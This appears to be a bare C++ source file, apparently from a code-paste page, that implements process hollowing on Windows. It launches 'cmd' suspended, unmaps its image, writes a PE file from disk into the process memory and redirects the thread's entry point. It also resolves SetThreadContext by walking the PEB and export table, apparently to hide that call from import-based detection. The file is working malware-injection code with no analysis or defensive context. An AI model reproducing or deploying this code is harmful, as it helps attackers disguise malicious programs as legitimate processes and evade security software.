1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183
|
#include <iostream> #include <windows.h> #include <winternl.h> #include <intrin.h>
const wchar_t* TARGETFILE = L"D:\\test.exe";
typedef NTSTATUS(WINAPI* FnNtUnmapViewOfSection)(HANDLE, PVOID); typedef BOOL(WINAPI* MySetThreadContext)(_In_ HANDLE hThread, _In_ CONST CONTEXT* lpContext);
DWORD64 DynamicCall() { PVOID pPeb = reinterpret_cast<PVOID>(__readgsqword(0x60)); if (!pPeb) { std::cerr << "Failed to get PEB address." << std::endl; return 1; } ULONG64 ldrOffset = 0x18; PVOID pLdr = *reinterpret_cast<PVOID*>(reinterpret_cast<PBYTE>(pPeb) + ldrOffset); if (!pLdr) { std::cerr << "Failed to get Ldr address." << std::endl; return 1; } ULONG64 moduleListOffset = offsetof(PEB_LDR_DATA, InMemoryOrderModuleList); PLIST_ENTRY pModuleList = reinterpret_cast<PLIST_ENTRY>(reinterpret_cast<PBYTE>(pLdr) + moduleListOffset);
PLIST_ENTRY pKernel32Entry = pModuleList->Flink->Flink->Flink; PLDR_DATA_TABLE_ENTRY pKernelEntry = CONTAINING_RECORD(pKernel32Entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); PVOID pKernelBase = pKernelEntry->DllBase;
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pKernelBase; PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (DWORD64)pDos); PIMAGE_DATA_DIRECTORY pDir = (PIMAGE_DATA_DIRECTORY)(pNt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT); PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(pDir->VirtualAddress + (DWORD64)pDos);
PDWORD pwAddressOfFunctions = (PDWORD)(pExport->AddressOfFunctions + (DWORD64)pDos); PDWORD pwAddressOfNames = (PDWORD)(pExport->AddressOfNames + (DWORD64)pDos); PWORD dwAddressOfNameOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + (DWORD64)pDos);
DWORD dwNumberOfNames = pExport->NumberOfNames;
DWORD64 dwSetThreadContext = 0;
for (size_t i = 0; i < dwNumberOfNames; i++) { const char* szFuncName = (char*)(pwAddressOfNames[i] + (DWORD64)pDos); char szSetThreadAddress[] = { 'S', 'e', 't', 'T', 'h', 'r', 'e', 'a', 'd', 'C', 'o', 'n', 't', 'e', 'x', 't','\0' }; int iFlags = 0; for (size_t j = 0; j < 16; j++) { if (szFuncName[j] == szSetThreadAddress[j]) { iFlags++; } if (iFlags == 16) { dwSetThreadContext = (DWORD64)(pwAddressOfFunctions[dwAddressOfNameOrdinals[i]] + (DWORD64)pDos); break; } } }
if (dwSetThreadContext == NULL) { return 0; } return dwSetThreadContext; }
int main() { STARTUPINFOA si = {0}; si.cb = sizeof(STARTUPINFOA); PROCESS_INFORMATION pi = {0};
if (FALSE == CreateProcessA(NULL, (LPSTR)"cmd", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { printf("CreateProcessA Failed\n"); return -1; } HANDLE hFile = CreateFile(TARGETFILE, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (NULL == hFile) { printf("CreateFile Failed\n"); return -1; } DWORD dwFileSize = GetFileSize(hFile, NULL); LPVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (NULL == lpBuffer) { printf("VirtualAlloc Failed\n"); return -1; } DWORD lpNumberOfBytesRead = 0; if (FALSE == ReadFile(hFile, lpBuffer, dwFileSize, &lpNumberOfBytesRead, NULL)) { printf("ReadFile Failed\n"); return -1; } CloseHandle(hFile); printf("%x\n", *(short*)lpBuffer);
PIMAGE_DOS_HEADER pDos = PIMAGE_DOS_HEADER(lpBuffer); PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (DWORD64)lpBuffer);
CONTEXT ctx = {}; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.hThread, &ctx);
LPVOID lpOldImageBase = 0; if (FALSE == ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &lpOldImageBase, sizeof(PVOID), NULL)) { printf("ReadProcessMemory To lpOldImageBase Failed\n"); return -1; } FnNtUnmapViewOfSection fnNtUnmapViewOfSection = (FnNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"); if ((SIZE_T)lpOldImageBase == pNt->OptionalHeader.ImageBase) { fnNtUnmapViewOfSection(pi.hProcess, lpOldImageBase); } LPVOID lpTargetMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (NULL == lpTargetMemory) { printf("VirtualAllocEx Failed\n"); return -1; } if (FALSE == WriteProcessMemory(pi.hProcess, lpTargetMemory, lpBuffer, pNt->OptionalHeader.SizeOfHeaders, NULL)) { printf("WriteProcessMemory Failed\n"); return -1; } for (size_t i = 0; i < pNt->FileHeader.NumberOfSections; i++) { PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)lpBuffer + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)lpTargetMemory + pSec->VirtualAddress), (PVOID)((LPBYTE)lpBuffer + pSec->PointerToRawData), pSec->SizeOfRawData, NULL); } ctx.Rcx = (SIZE_T)((LPBYTE)lpTargetMemory + pNt->OptionalHeader.AddressOfEntryPoint); WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pNt->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
MySetThreadContext mySetThreadContext = (MySetThreadContext)DynamicCall(); if (mySetThreadContext == NULL) { printf("DynamicCall Failed\n"); return -1; } mySetThreadContext(pi.hThread, &ctx); ResumeThread(pi.hThread);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
system("pause"); return 0; }
|